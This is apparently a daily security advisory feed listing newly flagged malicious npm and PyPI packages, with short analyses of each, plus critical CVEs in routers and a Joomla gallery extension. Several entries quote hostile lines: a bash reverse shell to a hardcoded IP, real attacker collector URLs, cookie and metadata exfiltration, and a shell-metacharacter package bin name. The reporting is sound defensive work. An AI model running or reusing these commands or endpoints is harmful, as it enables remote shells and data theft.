MAL-2026-16300	New					npm:@baanx/solana-lib	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6462ecac2764fc9cf78d47ee57fec1fd3d6a0cf573ee02eaddcc2e5b5f3f0d7e) The package declares `scripts.install` = `node index.js`, so `npm install @baanx/solana-lib` automatically executes `index.js`, which loads `lib/core.js`. That module reads the installer's username (`os.userInfo().userna...
MAL-2026-16301	New					npm:@nimbsuedge3/xar	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (85a83fa3df94cc0a526feb9df2e8a877f89713501a083059a4b8ae5a9bf2fcaf) package.json declares a preinstall lifecycle script that runs `bash -i >& /dev/tcp/147.93.157.202.nip.io/8080` to open an interactive reverse shell to a bare-IP host wrapped via nip.io, and pipes shell output through `cu...
MAL-2026-16302	New					npm:@nimbusedge2/auth	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (00e0720671ede37963c7328b0434ac8e2fe6c52dd252678f81da390e9554c0ba) @nimbusedge2/auth 1.1.1 ships a 333-byte package whose package.json preinstall lifecycle hook runs `bash -i` with stdio redirected to /dev/tcp/147.93.157.202/8080, opening an interactive reverse shell to that host as the...
MAL-2026-16303	New					npm:@nimbusedge2/authxsas	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0146259024cc8ef3a174ff98571fe4af975b3eecf9184a0a5339d42808243d10) The package's package.json declares a preinstall script that fires unconditionally on `npm install`. The script uses curl to query the cloud instance metadata service via the nip.io wildcard-DNS resolver (169.254.169.254...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16304	New					npm:@nimbusedge2/authxsas1	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (0b27280b8f4c1e044e49b77e58c7c8de895a002f51be51756bc40e909d3f6fa1) package.json declares a preinstall lifecycle script that runs automatically on `npm install`. The script uses curl to fetch the cloud instance metadata service (169.254.169.254, accessed via the nip.io wildcard-DNS wrapp...
MAL-2026-16305	New					npm:@nimbusedge2/x	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (45d678f278cdb8171d7ac41ffa9f50b57ccb508dfa5a64bec6430efa17b2662e) package.json declares a preinstall lifecycle script that runs automatically on `npm install`. The script invokes `bash -i >& /dev/tcp/147.93.157.202.nip.io/8080` to open an interactive reverse shell to a hardcoded IP-bas...
MAL-2026-16306	New					npm:@nimbusedge2/xa	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (537505221bc3cd73b0d5a60062d6ad127211b2d1be1f1cdfdac13053e2224a11) package.json declares a preinstall lifecycle script that runs an interactive bash reverse shell to the hardcoded host 147.93.157.202.nip.io on TCP port 8080 and pipes the shell's output through curl to http://canarytoken...
MAL-2026-16307	New					npm:chai-testing	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (da6bebc82e500e38b0ab9c507b1d56c18a05a1ffd04fcee60f0dcad991c8944a) The package's main entry (index.js) spawns a detached `node lib/caller.js` when the module is required. caller.js base64-decodes a hardcoded URL (https://ipcheck-hashed.vercel.app/api/auth/...) stored in a fake `process....
MAL-2026-16308	New					npm:chat-adapter-matrix	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5710eb2e1a2f6b7a4aca8d943953989e80e056cc77c2071027c2a78744b5ea3a) chat-adapter-matrix@99.99.99 executes server.js from every npm lifecycle hook (preinstall, install, postinstall, prepare, prepublish, preprepare, postprepare) and from the main module. server.js issues an HTTPS GET to th...
MAL-2026-16309	New					npm:npmscript_tesstalert_unpkg	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5fa1adfe349e0a6092589e90bf38184b5769148bf42b4216fc714ad446ea747b) The package ships a single browser JavaScript file declared as both `main` and `unpkg`, so any page embedding the package via the unpkg CDN loads this script. The script calls `alert(11)` and then executes `fetch('https:...`
MAL-2026-16310	New					npm:npx-test-ma980	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (adfd1e5f7cc282648da56cdf50ac9c3cb27d6165fa4a3f8f3625b4a0c2694be6) package.json declares a `bin` entry whose key contains shell metacharacters and a chained command: `""tool & calc.exe": "./run.js""`. On Windows, npm's bin shim/symlink generation and later invocation via `npm install -g` ...
MAL-2026-16311	New					npm:test12vv36	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9292921d0fe368160694717f99eca753070a4249696c72b2f1bff9594cab40be) test12vv36@99.99.99 declares both preinstall and postinstall lifecycle hooks that execute index.js on npm install. index.js issues an HTTP GET to a hardcoded bare-IP endpoint at http://128.199.122.145/?test12vv36, sendin...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16312	New					npm:test1df23	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (67708642854d76da722a8130de47a8fb7fd23f0035cf646f1bf16d97419e5756) package.json declares preinstall and postinstall hooks that execute index.js on npm install. index.js issues an HTTP GET to the hardcoded bare IP 128.199.122.145 over plain HTTP, with the package name embedded in the que...
MAL-2026-16313	New					npm:test1gg234	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (dd57f799e0797ede7d18d6a36dd05c31c34d21b4e45d554730a8d08dd310cf73) The package declares both preinstall and postinstall lifecycle hooks that execute index.js, which issues a plaintext HTTP GET to the hardcoded bare IP 128.199.122.145 with the package name in the query string. The beacon...
MAL-2026-16314	New					npm:test1hh235	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (c9c95dc5aea7805ca50e114bae45747a46edb7331311044b0d3730e303d4351a) Package declares both preinstall and postinstall lifecycle hooks that execute index.js on `npm install`. index.js issues an HTTP GET to the hardcoded bare IP 128.199.122.145 over plain HTTP, embedding the package name in...
MAL-2026-16315	New					npm:test1ro	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (8166d7eaf8dab64a6c21d0e0a871c64e213147082a414b93816fb080c8044b1e) package.json declares preinstall and postinstall hooks that run `node index.js`, which reads `os.hostname()` and issues an HTTP GET to the hardcoded third-party collector `http://eo8f3m3ho26a0nm.m.pipedream.net/<package>...
MAL-2026-16316	New					npm:test1sdsd2	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (3c7bd7c5932337e17adaf4900cb7e29766fe6b5307bd170b38660dd05497ebdc) Package test1sdsd2@99.99.99 declares preinstall and postinstall hooks in package.json that execute index.js on `npm install`. index.js performs an HTTP GET to the hardcoded bare IP http://128.199.122.145/?test1sdsd2, emb...
MAL-2026-16317	New					npm:testmgkregme	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (496e8021fd5e2626c503e2ceeed8349ff15c68c71a5f19d8a57c67e5f1b41863) npm package testmgkregme@1.0.1 uses a binding.gyp whose `sources` field employs GYP command-expansion (`<! (env node index.js...; echo stub.c)`) to run `node index.js` during `node-gyp rebuild`, which npm invokes automati...
MAL-2026-16318	New					npm:@asenfotech/unplugin-element-plus	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (458bff9dc8d1f808d642b767ca08ca89253919bbf0d7fd2890b95f3b9c156926) Package presents itself as an Element Plus resolver for Vue tooling: index.js is a 25-line ElementPlusResolver stub. The bulk of the tarball under lib/gradle/ implements an install-time and import-time dropper. The decla...
MAL-2026-16319	New					npm:@dbbkh/ui-components	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (478839dda68d2c5eefa1a55557602d4b12396c988211b28d785af531d0b19d07) @dbbkh/ui-components@99.0.0 declares both preinstall and postinstall hooks in package.json that execute `node callback.js`, so the payload runs automatically on `npm install`. callback.js queries the AWS instance metadat...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16321	New					npm:@siriusbeyond/ui	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3d81713c34940a8d3511a53c6cb8001481734bc2493be23d0f6ddb1dd561fa72) On npm install, both preinstall and postinstall lifecycle hooks execute callback.js, which collects installer host identity (hostname, username, platform, cwd, home directory, UID, CI/cloud indicators, npm registry) and ...
MAL-2026-16322	New					npm:@siriusbeyond/utlis	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (330b388e1f9ee72c0c2a94cca9e4cc7ff3b525a3f673b324b093286329f60689) Package @siriusbeyond/utlis@99.0.0 declares both preinstall and postinstall scripts that execute callback.js on npm install. callback.js collects host reconnaissance (hostname, username, platform, cwd, home directory, UI...
MAL-2026-16323	New					npm:action-slack-message-root	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6d5f3deb6623e5340770d4e8866adc3d7239938e5adefc4b699c897287d84eba) package.json declares scripts.preinstall = 'node index.js', which runs automatically on npm install. index.js collects host reconnaissance — os.hostname(), os.platform(), os.arch(), os.release(), os.uptime(), os.cpus(), ...
MAL-2026-16324	New					npm:better-envforge	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1f30026347d1db5e0ade5afe4b81a8569eb6ec0c41d1e1fa79f66dc386a6ea51) better-envforge@1.0.0 presents itself as a dotenv-style environment configuration toolkit, but the bundled package.json inside dist/cli.cjs identifies the code as node-env-buffer@2.2.6 — a name/purpose mismatch used as a...
MAL-2026-16325	New					npm:bulk-add-sdk	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b131d84c624f7eb89d720ed0ec1435eef5f5f9ff800d1cef88b20c18c7374023) Package declares scripts.install: "node extract.js thd-orangepay", causing extract.js to run automatically on npm install. The script collects hostname, platform, arch, cwd, and the machine's public IP (obtained by shell...
MAL-2026-16326	New					npm:byted-commerce-materials	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f777e32b4a6cbb7f91f7fcac050a02a73e356df1c87e7dcd985ea9172a3993da) package.json declares both preinstall and postinstall running `node callback.js`, so the payload fires automatically on `npm install`. callback.js collects hostname, username, platform, cwd, home directory, network inter...
MAL-2026-16327	New					npm:catwrestlingbird	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (80958afe2056e1a124791c9465abdb0fff080a33005cc332dd5c1869ab2ee4c0) catwrestlingbird@1.0.0 declares a `postinstall` script (`node install.js`) that automatically runs on `npm install`. install.js collects installer host reconnaissance — hostname, username, platform/arch/OS release, netwo...
MAL-2026-16328	New					npm:catwrestlinghuman	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6c4045339387526c5db90832687d1691c2caddba3b9cb05006022704bf094653) package.json declares a postinstall hook `node index.js`. index.js is a 111KB blob composed exclusively of the JSFuck character set (`[]()!+`), which decodes at runtime via `Function(<decoded string>>()` to arbitrary Jav...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16329	New					npm:chai-as-viem	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (397fee7b80d73ee4c82892a746b2bab33a4cd2f71ef1ec4fe6fbbaa0bb270308) On require of the package, index.js loads lib/initializeCaller.js, which runs an IIFE at module load. The IIFE decodes a base64-concealed URL (resolving to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df)...
MAL-2026-16330	New					npm:commerce-materials	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (bdfbf371a76fd4cef2247de8c595a3981d58353391141b58a8ce31e03ec9da6d) commerce-materials@1.0.0 declares preinstall and postinstall lifecycle scripts that run callback.js on every npm install. callback.js collects hostname, username, platform, cwd, home directory, CI/cloud provider fingerpr...
MAL-2026-16331	New					npm:element-plus-vite-cli	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7b7636f89146191d649c38819e975fc41167a53276c66aea0b43789eb8d39338) On load (main index.js → bin/cli.js), the package invokes tooling-bootstrap.cjs which walks up from the consumer project's cwd/INIT_CWD looking for one of nine hardcoded sentinel files characteristic of a fintech/trading...
MAL-2026-16332	New					npm:feed-widgit-helper	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b5a81a96715497c25b18687ba7b9b42e919c23e700ede8d9944d41d6052d7f83) The package's main entry executes a top-level side effect that reads document.cookie and sends it via fetch to a hardcoded webhook.site collector URL (http://webhook.site/67dba5f1-70f5-413e-9299-2ad886bb77fa) over plain ...
MAL-2026-16333	New					npm:homestack-cheer	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f475cd8b8a3e1dd4563ca0b20d85fde83576ed78c27eb91ca1cd77f7bebe0d142) The package is published as homestack-cheer with description 'JS lib support cheerleading', but the README and the UMD build (dist/my-lib.umd.js) present it as a trivial hello-world 'greet' library. The ESM entrypoint de...
MAL-2026-16334	New					npm:keroeltopgg	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (52b4e331f9f02f436e01e5c7696088d12ea3237af7be54fd37ec37e786c960d) keroeltopgg@99.99.99 is a stub package whose index.js, executed on require/import, reads os.hostname() and issues an HTTPS GET to the hardcoded collector https://eo8f3m3ho26a0nm.m.pipedream.net/ with the package name and...
MAL-2026-16335	New					npm:keroeltopkk	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (b1d7044c35cb0fb76dd0639af395bd8ca87df9981a8c73bb812b9f338e8d5cdc) Package keroeltopkk@99.99.99 ships only a manifest and a beacon script (server.js) and wires it into every npm lifecycle hook (preinstall/install/postinstall/prepare), so `npm install` auto-executes it. server.js reads o...
MAL-2026-16336	New					npm:keroeltopkkk	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2758c1a2619db534fdc8e2981e051769b20641492d12ff984e333446e0c734e3) The package ships a single server.js that is wired into every npm lifecycle hook (preinstall, install, postinstall, prepare, prepublish, preprepare, postprepare). On npm install the script reads os.hostname() and issues ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16337	New					npm:my-cdn-script	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (e634f64d71797bbefdaf62bd0f2092d1cace77af2a07fd41e7d2347a14bb001b) my-cdn-script@1.0.0 ships a client-side payment-card skimmer in script.js. When loaded on a checkout page, the script injects a fake card-input form into the Alpha Bank hosted payment method and captures the card number,...
MAL-2026-16338	New					npm:pf23727	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f83e32460196d036eca65e46845ea4717a9d5e64a5c2360d657d1ae6c92dfe96) index.js is the package main and runs as an IIFE on require()/import. It reads document.cookie, slices document.body.innerHTML, and issues fetch('/profile', {credentials: 'include'}) to capture an authenticated response,...
MAL-2026-16339	New					npm:pf25133	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (504c3f95c937a05e14c220c767a0e18f4cada866ee5eebad0749457232ace73b) The package's declared main module index.js is an IIFE that reads document.cookie, fetches a hardcoded list of application paths, extracts flag-shaped patterns from the responses, and POSTs the aggregated data as JSON to...
MAL-2026-16340	New					npm:pf25262	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (95274790fd43042ecd1fc97b2c01dc194e863809626cdaee5c7e6b0a411f8aeb) index.js contains a browser exfiltration snippet that issues a credentialed fetch to /profile, extracts a DGA{...} token or falls back to capturing document.cookie plus the response length, and redirects the browser to a...
MAL-2026-16341	New					npm:pflag14570	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (2b7164c1405ab2587c562b3b9eb8cdad8258aab8f25b829da64c83d7185eab6c) index.js is an IIFE that executes at module load, reads document.cookie, fetches a list of authenticated application paths (/profile, /admin, /api/me, /settings, and similar), extracts a flag-shaped substring from the re...
MAL-2026-16342	New					npm:pflag29424	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d9b974c9d8555f026dfc5556c4f628d366fbaedca83eab549559fe95fc984602) index.js (the package's declared main) unconditionally executes on module load: it calls fetch('/profile'), scans the response for a DGA{...} token, and sends either the matched token or the first 300 characters of the r...
MAL-2026-16343	New					npm:siriusbeyond	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6ce19ca17a48cf79dd094940533d1bff88413d44c945948d0041da15a5b61779) package.json wires callback.js to both the preinstall and postinstall lifecycle hooks, so `npm install siriusbeyond` executes it automatically. callback.js collects hostname, username, platform, cwd, home directory, uid/...
MAL-2026-16344	New					npm:sorrawit-dev-helper	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c64040dcfbdbb6ce434caf3cd5bd2baa518cc00970281a69f5309d57a4621233) package.json declares a postinstall lifecycle script that runs automatically on `npm install`. The script reads /tmp/flag.txt from the installer's machine and sends its URL-encoded contents as a query parameter to a hard...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16346	New					PyPI:rrs	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (78c488c5d20c788e88c2d4f0a0cb1eb03317bc71edb05964adad62241fd1295e) On launch of the `rrs` CLI, a background thread captures a full-screen screenshot via `mss` and POSTs the image together with hostname, username, OS/release, local IP, and timestamp to a hardcoded Discord webhook at http...

Significant updates today - original Published Date retained

None in this window.

Added to CISA KEV today

None in this window.

P1 new today

None in this window.

P2 new today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94003	New	10.0	CRIT				A vulnerability has been found in Comfast CF-N1-S 2.6.0.1. Impacted is the function get_css_path_from_uri of the file /cgi-bin/mbox-config of the component Web Management Interface. The manipulation leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
CVE-2026-94089	New	10.0	CRIT				A vulnerability was determined in D-Link DIR-868L 2.01b05. This issue affects the function strcpy of the file /webfa_authentication.cgi of the component Authentication Handler. Executing a manipulation of the argument id/password can lead to stack-based buffer overflow. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized.
CVE-2026-94097	New	10.0	CRIT				A vulnerability was determined in Netcore NBR200V2 1.3.241127.071246. This affects an unknown part of the file /www/cgi-bin/network_tools of the component CGI Diagnostic Endpoint. This manipulation of the argument param/key/val causes command injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94095	New	9.9	CRIT				A vulnerability has been found in Netcore NBR200V2 1.3.241127.071246. Affected by this vulnerability is an unknown functionality of the file /usr/bin/network_tools of the component Traceroute Diagnostic Feature. The manipulation of the argument url leads to command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. ...
CVE-2026-94096	New	9.9	CRIT				A vulnerability was found in Netcore NBR200V2 1.3.241127.071246. Affected by this issue is some unknown functionality of the file /usr/bin/network_tools of the component LAN IP Configuration Handler. The manipulation of the argument ipv4 results in command injection. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was conta...
CVE-2026-94099	New	9.9	CRIT				A security flaw has been discovered in Netcore NBR200V2 1.3.241127.071246. This issue affects some unknown processing of the file restore.cgi of the component Backup Restore. Performing a manipulation of the argument QUERY_STRING results in command injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for at...
CVE-2026-94100	New	9.9	CRIT				A weakness has been identified in Netcore NBR200V2 1.3.241127.071246. Impacted is the function wan_config_set_vlan of the file /usr/bin/routerd of the component WAN VLAN Reconfiguration. Executing a manipulation of the argument vlan_wanX.ports can lead to buffer overflow. The attack may be performed from remote. The exploit has been made available to the public and could be ...
CVE-2026-94101	New	9.9	CRIT				A security vulnerability has been detected in Netcore NBR200V2 1.3.241127.071246. The affected element is the function vlan_load_form_uci of the file /usr/bin/routerd. The manipulation of the argument wan_num leads to buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about ...
CVE-2026-90817	New	9.8	CRIT				An unauthenticated Remote Code Execution vulnerability was found in the survey passthrough routing and Data Import processing logic, in which a malicious user could potentially exploit it by manipulating HTTP requests to access an unintended controller route from a public survey context and by supplying a crafted file-path/stream parameter during import handling. If successf...
CVE-2026-88856	New	9.4	CRIT				Joomla Extension - OrdaSoft.com - Authenticated, Privileged Remote Code Execution in OrdaSoft Joomla Gallery extension for Joomla < 6.2.7 - The extensions updateOSGallery(), reached via task=update_osgallery, read a JSON request body and called the value of a method field as a live PHP function, passing the value of a package field as its single argument, with no allow-list ...
CVE-2026-88857	New	9.4	CRIT				Joomla Extension - OrdaSoft.com - Authenticated, Privileged Remote Code Execution in OrdaSoft Joomla Gallery extension for Joomla < 6.2.7 - The extensions saveWatermark() copied an uploaded file into a web-accessible directory using the client-supplied filename exactly as sent, with no extension check, no content check, and no filename sanitisation of any kind. An authentica...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-88854	New	9.3	CRIT				Joomla Extension - OrdaSoft.com - Unauthenticated SQL Injection in OrdaSoft Joomla Gallery extension for Joomla < 6.2.7 - The extensions showSearchResult() and showSearchResultAjax() read the textsearch/searchText request parameter with \$input->getVar(), which is not a real Joomla filter method and falls through to a filter that strips HTML tags but does not touch quotes or ...
CVE-2025-12999	New	9.1	CRIT				UrlUtil.getBaseUrl builds the absolute URLs in a response — download links, icons, asset and API URLs — from the X-Forwarded-Host, X-Forwarded-Proto and X-Forwarded-Prefix request headers, with no check on whether the sender was a trusted proxy, falling back to the client-supplied Host header. ...
CVE-2026-94098	New	9.1	CRIT				A vulnerability was identified in Netcore NBR200V2 1.3.241127.071246. This vulnerability affects unknown code of the file /www/cgi-bin/upgrade of the component Firmware Upgrade CGI Endpoint. Such manipulation of the argument QUERY_STRING leads to command injection. The attack can be executed remotely. The exploit is publicly available and might be used. The vendor was contac...

Historical reports are not rewritten when an older CVE changes. A CVE published on an earlier date remains in that earlier daily report; a meaningful change is shown separately in the update section for the date on which the change was detected.